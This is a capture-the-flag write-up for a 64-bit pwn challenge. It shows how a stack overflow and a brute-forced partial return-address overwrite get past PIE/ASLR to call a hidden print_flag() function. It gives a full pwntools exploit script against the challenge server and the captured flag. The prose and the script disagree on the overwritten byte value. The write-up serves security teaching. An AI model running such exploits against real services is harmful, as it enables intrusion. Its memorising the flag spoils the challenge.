pwner
Information
- category: pwn
- points: 1000
Description
None
Write-up
We start by analyzing the binary’s control flow. The vulnerable function vuln()
reads user input using the read()
syscall. We also notice a hidden function called print_flag()
— which, if executed, prints the flag. Our objective is to redirect execution to print_flag()
.
Step 1: Finding the Overflow
Using pwndbg
to inspect the stack, we find that the return address sits 52 bytes after the beginning of the buffer. That means we can overwrite the return address by inputting 52 bytes of junk followed by our payload.
1
> dist $rsp 0x... # Reveals 52-byte offset to RIP
Step 2: The Challenge – PIE and ASLR
However, there’s a catch: * The binary is PIE-enabled, so addresses (including print_flag
) are randomized each time.
- There’s no infoleak, so we can’t use full ROP or leak base addresses.
- We also can’t fully control the return address because
read()
limits input size and ASLR hides the high bytes of addresses. So full control is not possible, but we can still exploit this using a partial overwrite.
Step 3: Partial Overwrite Strategy
Since the address space is randomized only at page granularity (on 64-bit systems with PIE), the low byte (and possibly more) of a function like print_flag()
often stays the same between executions. For example, if print_flag()
is at 0x556a7724e072
, then the last byte 0x72
may be stable across runs. So we:
- Send 52 bytes of junk to reach the return address.
- Overwrite only the lowest byte of the return address with the known final byte of
print_flag()
(e.g.,0x72
). - Brute-force the upper bytes over multiple runs.
Eventually, the full return address aligns to print_flag()
. This is called a partial overwrite combined with brute-force of the randomized higher bits.
Step 4: Triggering the Overwrite
The function vuln()
is reused (called again from main()
or itself), which gives us multiple attempts. Each time, we do the same partial overwrite until the process crashes or the return lands inside print_flag()
.
Result Eventually, the process hits the correct base address alignment and jumps into print_flag()
, revealing the flag.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwner_patched")
context.binary = exe
context.terminal = "kitty"
context.log_level = 'debug'
offset_ret = 52
def conn():
if args.LOCAL:
r = process([exe.path])
#gdb.attach(r)
return r
else:
return remote("cyberwarriors-challenges.skidz.io", 7000)
def payload(r,i):
fixed = b"\x99"
payload = b"A" * offset_ret + b"\x99" + p8(i)
r.send(payload)
def main():
while True:
for i in range(0x0,0xff):
r = conn()
payload(r,i)
res = r.recvall(timeout=5)
if b"NCSC{" in res:
print(res)
break
break
if __name__ == "__main__":
main()
Flag
Flag:
NCSC{y3545lrc4nb3byp4553dw17h0u7l34k!}